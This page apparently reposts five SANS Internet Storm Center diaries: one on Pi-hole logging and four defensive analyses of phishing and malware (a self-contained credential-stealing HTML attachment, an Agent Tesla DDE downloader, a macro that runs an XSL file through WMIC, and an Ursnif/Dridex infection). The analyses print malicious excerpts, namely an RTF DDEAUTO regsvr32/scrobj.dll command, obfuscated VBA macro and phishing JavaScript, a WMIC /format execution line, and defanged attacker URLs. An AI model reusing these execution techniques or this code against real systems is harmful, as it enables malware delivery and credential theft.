Integrating Pi-hole Logs in ELK with Logstash, (Sat, Dec 7th)

I wanted to parse and ingest my Pi-hole DNS logs for a while now in Elasticsearch to be able to analyze them in various ways. I wrote four separate Grok parser for Logstash to send the logs to a ELK stack. I am now able to view and analyze which domains have been Sinkhole by gravity.list or regex.list (custom wildcard lists) and create the necessary dashboards to report on the DNS traffic. This is an example of the output in Discover. In this example, I have filtered out the dns_type: forwarded.

The configuration file can be downloaded here.


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Phishing with a self-contained credentials-stealing webpage, (Fri, Dec 6th)

Phishing e-mails which are used to steal credentials usually depend on user clicking a link which leads to a phishing website that looks like login page for some valid service. Not all credentials-stealing has to be done using a remote website, however.

I recently came across an interesting phishing campaign in which the scammers used a rather novel technique. The e-mail looked like a traditional payment notice phishing with a fairly usual text.

Good Day

Please find attached a copy of your payment notification

Kind Regards,
James Watson

The HTML attachment it carried, however, turned out to be anything but usual. When HTML attachments are used in a credentials-stealing phishing, the HTML code usually either redirects the browser to a fake login page, or it directly loads the fake login page from a source on the internet[1]. This HTML page turned out not to do either of those.

When I opened the 930 kB long file in a text editor, the only text visible at first glance was on the first line:

After it, there were 4735 empty lines followed by a lot of obfuscated JavaScript along with several legitimate and only Base64-encoded JavaScript libraries (e.g. jQuery, Bootstrap,…). Here is a small sample of the obfuscated JavaScript.

function m600(src5){var xwjc,m7hv=Function,z120,mdid,zf2p="NFj:otBH"z]%*,Zv0k4?XEdR9;1JQeIgK&!_yc{iDx) 3up7}w|WS6nr#~s/$nm(@=LVU2T[fPMhCb^r+-.Y8aOt'lq>AG5<",hcbn=zf2p.length,g6j7={cd:""},ue=new m7hv("ret"+"urn unesc"+"ape")(),djkh=new m7hv("x",ue("%74hi%73.c%64+=x")),pcjj=new m7hv("x","y",ue("%72et%75rn%20x.c%68ar%41t(%79)"));for(xwjc=0;xwjc-1){z120-=(xwjc+1)%hcbn;if(z120pHxvXYJ.n-=PX;I%9NQgy? nCc)=Y$lOT?f+?~X/}OtdWFrA!P}#zOtgCdDFr{r+-.H,,Lq7Zd5d i)st>)1}mY1aQtI{/?Mrz~9.;*tYIXfXsrt[@ZJD(na-L!}qw_GlM/c>?C8F$8aOt''k"'s}fNl'R?oS-3TYzKMg-pIb.?KNOjn:~4?XEdR&NiW:5:"n}

Since the JavaScript was over 600k characters long (not counting the legitimate libraries), manual de-obfuscation and analysis of the code was not a realistic option. The next step, therefore, was to take a look at the website in a browser. After opening the file in Chrome in a VM, it became obvious why the script was so large. Unlike most other HTML-based phishing attachments, this one didn’t depend on an external fake login page, but carried the entire thing inside its body.

Although the page was supposed to look like a Microsoft site, the scammers provided a list multiple valid e-mail providers one could use to “log in”.

After a user supplies an e-mail and a password, the page appears to contact the relevant e-mail server.

In reality, however, it sends a HTTP GET request containing credentials specified by the user to a remote web server at hxxp://

Afterwards, an additional request for a phone number and a recovery e-mail is displayed to the user. When that is filled in as well (and sent to the same domain as before, although this time using a HTTP POST), the browser is redirected to a low-quality picture of the supposed invoice (at least I assume that is what it’s supposed to look like) and after a couple of seconds redirected again, this time to either a legitimate Microsoft site or to the domain specified in the recovery e-mail supplied by the user.

Sending user’s credentials to a server and then redirecting their browser to a legitimate site is a fairly common behavior for a phishing page. Although, to add insult to injury, in this case the phishing page not only steals the credentials but also transmits them over the network without any encryption in plain HTTP.

Besides that, the only unusual part of this phishing remains the fact the entire phishing page is delivered as an attachment. My suspicion is that this was intended to bypass security filters and analytics on web proxies (or provided by SafeLinks), but whatever the reason was, the idea is quite intriguing.

Although this isn’t the first phishing campaign with a similar “self-contained” website, this was the first time I came across such a complex HTML phishing attachment, i.e. one, that carried all the libraries and files in one package and didn’t depend on a remote server for anything else than for collecting the stolen credentials.


MD5 – 754860e44426eb50ff73597650d4d4b3
SHA1 – abb8536392fc6a721ae6f5ba7f377eaca3b4ae96    8bf20f30

Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

E-mail from Agent Tesla, (Thu, Dec 5th)

Last Thursday, only a day after Brad wrote a Diary about discovering Agent Tesla sample in Any.Run[1], I found a request for analysis of a suspicious file in my inbox. The file turned out to be the first part of a multi-stage downloader for Agent Tesla and since Brad wrote about what happens after this malware arrives at the target (i.e. data exfiltration using SMTP), I thought that a closer look at what comes before the infection might nicely complete the picture of how the malware operates.

In this campaign, the first stage of the dropper was a file with a DOT extension, sent as an attachment of a phishing e-mail trying to appear as a request for quotation. DOT files are old-type Word templates and since modern Word can still use them and they may contain macros without it being apparent from the extension, they are among the potentially useful file types for macro-based phishing attachments. And since DOT files attached to e-mail messages are nowadays seldom above-board, blacklisting the extension on an e-mail gateway may not be a bad idea to consider.


In this case, however, the DOT file wasn’t a Word document at all, but rather a renamed Rich Text File containing nothing but a DDE[2] call intended to download and run a WSC file, containing the second stage of the downloader, using regsvr32.

{rtf1{field{*fldinst*rtf dDEAUto "c:\winDoWs\SySTEM32\cmD.EXE" "/c regSvR32 -S -n /U -i: SCRObj.dll"}}}


After opening the DOT file in Word, the usual DDE-related message boxes would jump up at the user and, provided the user would press the right buttons, the WSC file would be downloaded and executed.


A WSC (Windows Script Component) file is basically just a script in an XML envelope and although use of this format to spread malicious code is not a new technique[3], it is not overly common either. In the case of the Agent Tesla spreading campaign, the WSC file contained VBscript intended to use  PowerShell to download the Agent Tesla malware itself into the AppData folder as “gifgmimgifg.exe” and then run it.


The final executable of Agent Tesla seemed quite similar to the one Brad found – at first glance, there were only two differences. The first was the use of a different e-mail account to upload stolen data. I recorded the following SMTP stream using Any.Run, as the malware didn’t try to exfiltrate any data from my local VM (probably due to some anti-sandboxing measure, although this is a conjecture on my part – the executable was heavily obfuscated and I didn’t have much time to spend on analyzing it).


The second difference was in the file the malware was disguised as. This version of Agent Tesla was supposed to look (not counting the icon) as RAMMap, a tool which is part of the SysInternals toolkit.


The following chart shows relationships between all the files mentioned in the Diary and under it, you may find all the relevant hashes.
MD5 – ba6cc1cbfa2a9ebb006ad22e0c3585ed
SHA1 – aff5bbd13558d9ada120eed34cef778319e65291

MD5 – d71439df0a524fb1c0c537d9839a8177
SHA1 – 149cbaa8110b153cc69b439b14617a6b8b87af50

MD5 – 8fef6028422a91884c5928f6568e4c80
SHA1 – ccf1e3aa6f60304c4888d2d51e56f01b96f7c842



Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Analysis of a strangely poetic malware, (Wed, Dec 4th)

Although given its name, one might expect this diary to be about the Elk Cloner[1], that is not the case. The malware we will take a look at is recent and much simpler, yet still interesting in its own way.

Couple of days back, we received a request for analysis of a suspicious Word document from Edina, one of our readers. The DOC file was sent to Edina as an attachment of an e-mail, which contained the following text.

Good Afternoon!

Find the attached doc!
Don't hesitate to ask me any further questions.

zip pass 777


Although the sender address was known to Edina, since she didn’t interact with the sender for a couple of years, she was rightly a bit paranoid about opening the attachment. Not wanting to risk her main computer, she tried opening the file on her spare Mac. What greeted her was a blue screen informing her about the need to “Enable content”.

After enabling macros, nothing happened on the Mac. At that point she tried opening the file on a Windows VM, where, after enabling macros, the system started – as Edina wrote to us – “really hogging its resources” and she decided to shut the VM down. Since the behavior of the macro seemed malicious, she wanted to know whether she didn’t compromise her Mac by running it there first.

Given the behavior of the macro, coupled with the fact that malspam uses the “blue screen” trick quite often, it was clear just from the description Edina provided that the file was indeed malicious. But to determine whether it could possibly have a negative impact on a computer running macOS an analysis of the code was in order.

After having a look at the file and dumping the macros (using oledump[2] and olevba[3]), it became clear that the VB code was not only obfuscated, but also contained a lot of nonsensical, yet, if put together, strangely poetic comments, as you may see bellow.

Lamentation supporting
Alcove goods
Informer tools
Biology advertisement significance aggregation
Lets hilarious batteries
Harbour inkjet durability
Spec mauritius bother
Part weblogs shoulder nite power
Google travail soot female
Hygiene affront
Seasonal sharp oc install
Animate introduction fighters summit ultimate
Career warble firemen
Humans antechamber
Jean underworld acquiesce trees
Tart sluts sear
Linguist participate woeful

Although this was not the first time I came across random-looking comments in a malicious code, I don’t think I’ve ever seen ones that reminded me of a poem (even though hardly a good one) before. Originally, the comments were of course spread throughout the macro code, as you may see from the following example of one of three modules (module aWy10) which the DOC contained.

Public Const awBvc5 As Long = 1363 - 1361
Public Const aou8S As String = "c"
Public Const aA3lc As String = ":win"
Public Const aWoLue As String = "dow"
Public Const aoj7m As String = "ste"
Public Const afvBj As String = "mp"
Public Const aMjstx As String = "wm"
Function aQ8dA(ag3Bj9 As String)
Dim aJPgd
aJPgd = Exp(14)
' Lamentation supporting

Set afVdpU = New MSXML2.DOMDocument
Set aSogC8 = afVdpU.createElement("b64")
aSogC8.DataType = "bin.base64"
aSogC8.Text = ag3Bj9
aQ8dA = StrConv(aSogC8.nodeTypedValue, vbUnicode)
Dim aroh3
aroh3 = Exp(10)
' Alcove goods
End Function
Public Sub aXbKPq(aqkDUt, aqiy6, aulyo8)
Dim azkan As Long
Dim aQxSK As Document
Set aQxSK = ActiveDocument
azkan = aQxSK.ActiveWindow.Panes(1).Pages.Count
' Informer tools
aAP5al = aou8S & aA3lc & aWoLue & aoj7m & afvBj
Dim aSROvl
aSROvl = Hex(165)
Set aTcYj = CreateObject("Scripting.FileSystemObject")

Dim azqVKf As Long
azqVKf = ActiveDocument.BuiltinDocumentProperties(wdPropertyPages)
Dim asVSX
For asVSX = 12 To 52
Debug.Print Error(asVSX)
Next asVSX
' Biology advertisement significance aggregation
Set a96yXC = aTcYj.CreateTextFile(aAP5al & "afUsm.xsl", 1)
Dim afQoN As Long
With ActiveDocument
afQoN = .ActiveWindow.Panes(1).Pages.Count
End With
With a96yXC

Dim ac1Ylj As Long
ac1Ylj = ActiveDocument.ActiveWindow.Panes(1).Pages.Count
' Lets hilarious batteries
.Write aqkDUt
End With
End Sub
Function aSuy8()
Set ajk7Y5 = New adIHY
aYsB6 = ajk7Y5.eatmy.Text
Dim aq0NgL As Long
Dim ajCsz2
aq0NgL = 8
ajCsz2 = 49
aZRShz = aq0NgL * ajCsz2
Dim aZPf2
aZPf2 = Fix(5)
' Harbour inkjet durability
aIHUC1 = ajk7Y5.shorts.Text

a4RZD = Not (a4RZD)
aSuy8 = aYsB6 & aIHUC1
End Function

After a little deobfuscation (parts of which you may try out yourself) it became obvious that the macro was supposed to create a XSL file (“c:windowstempafUsm.xsl”) and then execute code inside it using WMI.

"C:WindowsSystem32wbemWMIC.exe" process list /format:"c:windowstempafUsm.xsl"

XSL files (eXtensible Stylesheet Language) files are used to describe how XML contents are to be styled/displayed, which they may do using a script inside them. Although the use of XSL files in this manner by threat actors is nothing new[4], the technique is quite interesting and not as widely used nor as well-known as many others.

Based on contents of the macros, it was obvious that the Mac, which Edina originally used to open the Word document, wasn’t impacted in any negative way as the malicious code was Windows-specific. Even though determining this was the original objective, since the poetic XSL-and-WMI-using malware seemed interesting I decided to continue on with the analysis. Since I don’t like to spend too much time manually deobfuscating code, in order to determine contents of the XSL file dropped by the DOC file, I spun up a VM, let the macros run and took a look at the resulting afUsm.xsl file.

Although the JScript code inside afUsm.xsl was itself obfuscated, since the obfuscation relied mostly on inclusion of many unused variables and dead code, it was much easier to read than the VB code in the original DOC file. This time, the obfuscated code also contained no comments (which I felt was a bit of a let down). The code was supposed to download a file from the URL hxxp://, save it as C:WindowsTempaKEjT.exe and then run the resulting EXE file.

Since the URL mentioned above was unfortunately no longer working when I got to analyzing the malware, I can’t be sure what the final payload was, although given the 777 password, the name of the ZIP file and the behavior of the downloader in general, I feel quite confident it was a variant of Ursnif malware (see diary from Brad from yesterday[5] for more details).


MD5 – 30cd9dae692890cd759069838decdc5e
SHA1 – 6c36b413d29cd0e0bab5239f35f4c19e5d98eb0c

MD5 – a82a8840b2dbe8fa5ee9b88c2b58ce77
SHA1 – 774c3f773c4c68e94fa102408490e02bf98e614c



Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Ursnif infection with Dridex, (Tue, Dec 3rd)


I frequently see indicators of malicious spam (malspam) pushing Ursnif malware.  Specifically, I often find Ursnif pushed by a long-running malspam campaign that uses password-protected zip attachments that contain word documents with macros designed to infected a vulnerable Windows host.  The password has usually been 777 for the zip attachments.  Word documents contained within those zip archives follow a specific naming convention.  For example, a Word document from this campaign on December 2nd would be named info_12_02.doc.

Today’s diary reviews an Ursnif infection from this campaign that I generated in my lab environment on Monday, December 2nd.

The malspam and initial infection

Malspam from this campaign is spoofing replies to emails found on infected Windows hosts in the wild.  Since these are possibly real people, I’ve redacted any sensitive information in the images below.  As I already described, these emails contain password-protected zip archives, and these zip archives contain Word documents with macros to install Ursnif on a vulnerable Windows host.  In this case, enabling macros on the Word document dropped a script file in the C:WindowsTemp directory, and the script file retrieved the initial Windows executable (EXE) file for Ursnif.

Shown above:  An example of malspam pushing Ursnif malware.

Shown above:  Opening a zip archive from this type of malspam requires a password stated in the email.

Shown above:  Microsoft Word document extracted from the attached zip archive.

Shown above:  Malware note on the infected Windows host after enabling macros.

The infection traffic

Traffic generated by Ursnif infections follows relatively consistent patterns.  During these type of Ursnif infections, we often find follow-up malware retrieved by the Ursnif-infected host.  In this case, it was Dridex.  The image below shows my Ursnif infection traffic filtered in Wireshark, and it highlights the URL that returned the initial Ursnif EXE.

Shown above:  Traffic from an infection filtered in Wireshark, highlighting the URL that returned the initial Ursnif EXE.

Shown above:  Later in the infection traffic, we see indicators of the victim host being infected with Dridex.

Post-infection forensics

Ursnif makes itself persistent through the Windows registry, where it copies itself and deletes the initial Ursnif EXE.  Dridex is made persistent through DLL files that are called by legitimate system files copied to randomly-named directories established during the Dridex infection process.  Dridex is made persistent through the Windows registry, a scheduled task, and a Windows shortcut in the Startup menu.

Shown above:  Ursnif persistent on my infected Windows host.

Shown above:  Dridex persistent as DLL file called by the Windows registry.

Shown above:  Dridex was also persistent through a DLL file called by a scheduled task.

Shown above:  Dridex also persistent as a DLL called by a Windows shortcut in the Startup folder.

Indicators of Compromise (IoCs)

URL that retrieved initial Windows executable file for Ursnif:

  • 188.120.241[.]200 port 80 – ragenommad[.]com – GET /edgron/siloft.php?

URLs generated by initial Windows executable file for Ursnif:

  • 23.202.231[.]167 port 80 – nxbpierrecjf[.]com – GET /images/[long string].avi
  • 23.202.231[.]167 port 80 – spt71igina[.]com – GET /images/[long string].avi
  • 109.196.164[.]8 port 80 – jyomacktom[.]top – GET /images/[long string].avi

Post-infection traffic after Ursnif has established persistence:

  • 194.61.1[.]178 port 443 – m38kxy54t[.]com – HTTPS/SSL/TLS traffic generated by Ursnif

URLs generated by Ursnif-infected host to obtain follow-up malware:

  • 77.93.211[.]211 port 80 – zontcentrum[.]ru – GET /wp-content/uploads/2019/11/2unovarios.rar
  • 77.93.211[.]211 port 80 – zontcentrum[.]ru – GET /wp-content/uploads/2019/11/unovarios.rar

Post-infection traffic caused by Dridex:

  • 5.134.119[.]57 port 443 – HTTPS/SSL/TLS traffic generated by Dridex
  • 89.100.104[.]62 port 3443 – HTTPS/SSL/TLS traffic generated by Dridex

Malware and artifacts

SHA256 hash: ac13e6f727b207384d24ce3ac710f5bfa507ea8f906136b03745a030050905c5

  • File size: 57,450 bytes
  • File name: [name redacted].zip
  • File description: password-protected zip archive from malspam (password: 777)

SHA256 hash: 57d7f95629d7c1e0025043dc05ff1c859bb79a1616a7c4296a6ec23b27ee49cd

  • File size: 63,466 bytes
  • File name: info_12_02.doc
  • File description: Word doc with macro for Ursnif

SHA256 hash: d329921115fa57c30ba54e8b697658839918ac2e915c0274f2dc9028f7b9db88

  • File size: 238,080 bytes
  • File location: hxxp://ragenommad[.]com/edgron/siloft.php?
  • File location: C:WindowsTempainJ45.exe
  • File description: Initial Ursnif EXE retrieved after enabling Word macro

SHA256 hash: 52acd832d2036fc326743e63b2a50615be9a6e04d0b4f06e0e8d0e681bf78c9f

  • File size: 495,616 bytes
  • File location: C:Windowssystem3241ftQHUxTheme.dll
  • File description: Dridex DLL persistent on the infected Windows host (1 of 3)

SHA256 hash: 4dcb69610bd18e00449dccb8a31f13e84fc348a242fe98cd2b4681040453fe72

  • File size: 499,712 bytes
  • File location: C:Users[username]AppDataRoamingJC85wnMFPlat.DLL
  • File description: Dridex DLL persistent on the infected Windows host (2 of 3)

SHA256 hash: 896fe4ae5367929ba7a48221f95d52d7795f614958c4cc1c4c7beeca4cc6b92a

  • File size: 491,520 bytes
  • File location: C:Users[username]AppDataRoamingL3CfQGVERSION.dll
  • File description: Dridex DLL persistent on the infected Windows host (3 of 3)

Final words

A pcap of the infection traffic and the associate malware can be found here.

Brad Duncan
brad [at]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 841 12345...»